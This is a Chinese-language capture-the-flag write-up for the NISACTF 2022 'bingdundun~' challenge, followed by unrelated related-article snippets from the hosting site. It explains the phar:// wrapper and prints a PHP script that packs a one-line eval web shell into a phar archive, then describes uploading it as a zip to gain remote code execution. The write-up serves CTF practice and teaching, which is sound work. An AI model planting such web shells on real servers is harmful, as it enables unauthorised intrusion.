NSS [NISACTF 2022]bingdundun~

NSS [NISACTF 2022]bingdundun~

考点:phar伪协议

点击连接,跳转到上传文件界面

image-20230711115754939

提示只能上传图片或者压缩包

同时注意到了,url栏有个GET传参。传值为index试试,发现回显好多个//index.php,猜测这里传参,会自动帮我们加上一个.php,我们传?bingdundun=index,后台解析为?bingdundun=index.php,然后进行文件包含。

phar伪协议:

phar ( php archive ) 是 PHP 里类似于 jar ( java archive ) 的一种打包文件。如果使用的是 PHP 5.3 或更高版本,那么 .phar 后缀文件是默认开启支持的,你不需要任何其他的安装就可以使用它。

用法:?file=phar://压缩包/内部文件
主要是用于在php中对压缩文件格式的读取。这种方式通常是用来配合文件上传漏洞使用。

生成phar文件脚本:(就了解一下)

<?php
    $payload = '<?php eval($_POST["shell"]); ?>' ;//一句话木马
    $phar = new Phar("example.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->addFromString("phar.php", "$payload"); //添加要压缩的文件
    // $phar->setMetadata(...); //在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
    $phar->stopBuffering();
?>

1、stub是phar文件的文件头,格式为...<?php ...;__HALT_COMPILER();?>...可以是任意字符,包括留空,且 php 闭合符与最后一个分号之间不能有多于一个的空格符。另外 php 闭合符也可省略。包含在 php 代码块中的语句在 phar 文件被包含时被执行。最短省略闭合符的stub是__HALT_COMPILER();?>。前面的内容是没有限制的,也就是说我们可以构造一个图片文件或者 pdf 文件来绕过上传的限制,将这个phar文件上传上去。

2、manifest describing the contents存放着压缩文件的信息,每个被压缩文件的权限,属性等信息都放在这里,这里还会以序列化的形式存储着用户自定义的meta-dataphar文件存储meta-data时会先将内容序列化后再存入进去,当文件操作函数通过phar://伪协议解析phar文件时就会先将数据反序列化,这样就可以构成反序列化攻击。这里是phar反序列化攻击最核心的地方,但对这道题没有帮助。

3、the file contents:被压缩文件的内容,这里写入一句话木马,但对 phar 反序列化攻击没有帮助

4、signature:可选,phar文件的签名,允许的有MD5, SHA1, SHA256, SHA512和OPENSSL

(3条消息) 『PHP』phar文件详解_phar文件格式_调用phar类方法生成phar文件_Ho1aAs的博客-CSDN博客

开始做题。我们先创建一个一句话木马文件。

image-20230711115349717

这里得提一下。

phar://、zip://、bzip2://、zlib://都可用于读取压缩文件,zip:// 、 bzip2:// 、 zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif zip xxx 等等。而phar://的伪协议,可以将任意后缀名的压缩包(原来是 .phar 或 .zip,注意:PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行 ) 解包,从而可以通过上传压缩包绕过对后缀名的限制,再利用伪协议实现文件包含。

所以.zip后缀也是可以的,不用.phar,直接压缩就行啦。

image-20230711115501390

上传压缩包,返回了路径。

image-20230711120743072

成功进行RCE(为什么最后不是/shell.php而是/shell,因为之前提了,后台会自动加上.php

image-20230711121123529

getshell,根目录下找到flag

image-20230711121258105

好文推荐:

[(3条消息) NISACTF 2022]bingdundun wp_Leafzzz__的博客-CSDN博客

[(3条消息) NISACTF 2022]bingdundun~_ph0ebus的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/156202.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

unity 烘焙的时候出现模型没有光影的情况

unity 烘焙的时候出现模型没有光影的情况 1.模型没有设置生成光照贴图 需要勾选模型的生成光照贴图UVs,然后应用 2.游戏对象没有勾选静态选项 点开静态下拉列表&#xff0c;选择 contribute GI

连新手小白都知道的电子画册一键生成器,你还不知道吗?

相信大家平时见得比较多的是纸质画册&#xff0c;而对于电子画册大家又了解多少呢&#xff1f;电子画册近年来倍受众多企业青睐&#xff0c;制作一本好的电子画册能够让企业在市场竞争中脱颖而出&#xff0c;给人以深刻印象。如何制作呢&#xff1f; 其实很简单&#xff0c;关…

【网络奇遇记】我和因特网的初相遇3 —— 计算机网络体系结构

&#x1f308;个人主页&#xff1a;聆风吟 &#x1f525;系列专栏&#xff1a;网络奇遇记、数据结构 &#x1f516;少年有梦不应止于心动&#xff0c;更要付诸行动。 文章目录 一. 常见的三种计算机网络体系结构1.1 开放系统互连参考模型1.2 TCP/IP参考模型1.3 原理参考模型 二…

数据库.创建表

创建表结构 -- 创建表结构create table tb_user(id int comment ID,唯一标识,username varchar(20) comment 用户名,name varchar(10) comment 姓名,gae int comment 年龄,gender char(1) comment 性别)comment 用户表;create table tb_emp (id int auto_increment primary…

js实现tab栏切换

目录 1、排他思想实现 2、事件委托实现 1、排他思想实现 思路&#xff1a; 需要点击谁&#xff0c;就先获取谁&#xff0c;获得的是一个伪数组 遍历数组&#xff0c;并给数组里的每个元素添加点击事件&#xff0c;写一个active类用于显示边框样式 每一个元素对应一张图片&…

频谱优势:电子战与未来冲突

源自&#xff1a;电波之矛 作者&#xff1a;Dr. Ash Rossiter 频谱优越性 地面和机载电子战 乌克兰的猫鼠游戏 地缘政治竞争与电子战 面向未来的电子战 声明:公众号转载的文章及图片出于非商业性的教育和科研目的供大家参考和探讨&#xff0c;并不意味着支持其观点或证实其内…

电压跟随器

电压跟随器即输入多大电压就输出多大的电压&#xff0c;那其起什么作用呢&#xff0c;直接用导线不行吗&#xff1f; 下图为Multisim软件仿真结果&#xff0c;很明显输入电压6.5V输出电压使用万用表测得同为6.5V&#xff0c;验证了电压跟随器的作用。 在同相放大电路的基础上&a…

基于STM32的温室自主灌溉系统(论文+源码)

1.系统设计 本课题为基于STM32的温室自主灌溉系统&#xff0c;通过查阅多种文献和的设计了如图2.1所示的温室自主灌溉系统总体架构&#xff0c;整个系统在器件上包括了主控制器STM32F103&#xff0c;温度传感器DS18B20&#xff0c;土壤湿度传感器YL-69,光敏电阻,显示器LCD1602…

轻松一刻|Walrus CLI与CI/CD工具集成,轻松部署2048游戏

Walrus 是一款开源的基于平台工程理念、以应用为中心、以完整应用系统自动化编排交付为目标进行设计开发的云原生应用平台&#xff0c;简化和自动化应用部署与发布流程并与现有的 CI/CD 流水线无缝集成。今天我们来点有趣的&#xff0c;跟随本教程&#xff0c;一起将 Walrus CL…

抖音自动评论助手,其开发流程与需要的技术和代码分享

先来看实操成果&#xff0c;↑↑需要的同学可看我名字↖↖↖↖↖&#xff0c;或评论888无偿分享 在当今这个信息爆炸的时代&#xff0c;我们不难发现&#xff0c;无论是在线上还是线下&#xff0c;我们都无法忽视一个重要的信息传播工具——抖音。这款短视频平台以其强大的传播…

C/C++高频面经-秋招篇

自己在秋招找工作过程中遇到的一些C/C面试题&#xff0c;大中小厂都有&#xff0c;分享出来&#xff0c;希望能帮到有缘人。 C语言 snprintf()的使用 函数原型为int snprintf(char *str, size_t size, const char *format, …) 两点注意&#xff1a; (1) 如果格式化后的字符…

软件安全学习课程实践3:软件漏洞利用实验

1 逆向分析 1.1.1 和 1.1.2 直接 F5 看 flag 就可以了,故略。 1.1.3 对输入用了算法变换,能看到flag,比如输入x,经过f处理成f(x)然后判断f(x)=y,现在要破解f的算法然后写个逆预算g(y)=x 这个代码看起来很抽象,因为 IDA 没有正确的恢复这里的变量结构。选中变量按“N”重…

出行类app如何提升广告变现收益?

出行类APP已经成为越来越多人们出行的首选&#xff0c;出行类app在变现方式上存在以下痛点&#xff1a;APP功能单一、使用场景单一&#xff1b;用户使用时间集中&#xff0c;粘性低...这些痛点使得开发者获取收益的提升面临极大的挑战。 https://www.shenshiads.com 如何让出…

物料堆垛无线测温解决方案

近年来物质电厂越来越多&#xff0c;生物质燃料垛的安全贮存对于整个生物质行业来说都是一个严峻的问题&#xff0c;测温工作在燃料垛防护中十分重要&#xff0c;测温工作到不到位对安全隐患的排除有直接关系&#xff0c;因此一个适合生物质燃料垛的测温仪器是必须的。现阶段生…

开源与闭源软件的辩论:对大模型技术发展的影响

目录 前言1 开源软件的优缺点1.1 开源软件的优点1.2 开源软件的缺点和挑战 2 闭源软件的优缺点2.1 闭源软件的优点2.2 闭源软件的缺点和挑战 3 大模型发展会走向哪一边结语 前言 近期&#xff0c;特斯拉CEO马斯克公开表示&#xff1a;OpenAI不该闭源&#xff0c;自家首款聊天机…

还能这样操作?勒索软件团伙向监管部门举报受害者!

ALPHV/BlackCat 勒索软件团伙将敲诈勒索提升到了一个新高度&#xff0c;该组织向美国证券交易委员会提交了一份投诉&#xff0c;指控其一名受害者未遵守“一旦遭遇网络攻击&#xff0c;需要在四天内披露”的有关规定。 早些时候&#xff0c;ALPHV/BlackCat 勒索软件团伙将软件公…

cocos2dx中,将png图片打包plist图集,使用什么工具呢?

cocos2dx中&#xff0c;将png图片打包plist图集&#xff0c;使用什么工具呢&#xff1f;小编这里推荐一款免费的图集打包工具&#xff0c;pngPackerGUI_V2.0&#xff0c;此软件是在pngpacker_V1.1软件基础之后&#xff0c;开发的界面化操作软件&#xff0c;方便不太懂命令行的小…

医疗项目的需求分析以及开发流程

一.项目的背景以及需求 1.项目背景 1.政策层面来看&#xff0c;近年来我国政府相关部门陆续颁发了支持数字医疗行业发展的相关政策&#xff0c;“互联网医疗”政策逐渐明确完善&#xff0c;为数字医疗行业发展提供支持&#xff0c;行业迎来政策福利期。 其次&#xff0c;从经济…

leetcode算法之前缀和

目录 1.DP34[模板]一维前缀和2.DP35[模板]二维前缀和3.寻找数组的中心下标4.除自身以外数组的乘积5.和为K的子数组6.和可被K整除的子数组7.连续数组8.矩阵区域和 1.DP34[模板]一维前缀和 一维前缀和 #include <iostream> #include <vector> using namespace std…

我对需求分析的理解

一、背景 最近做了一个项目&#xff0c;也算是踩坑过程&#xff0c;产品上线了&#xff0c;用户不怎么买单&#xff0c;使用者聊聊无几&#xff0c;前期一直不清楚为什么会这样&#xff0c;诚然新系统的开发设计上采用了更新的技术&#xff0c;设计上采用了更好的理念&#xf…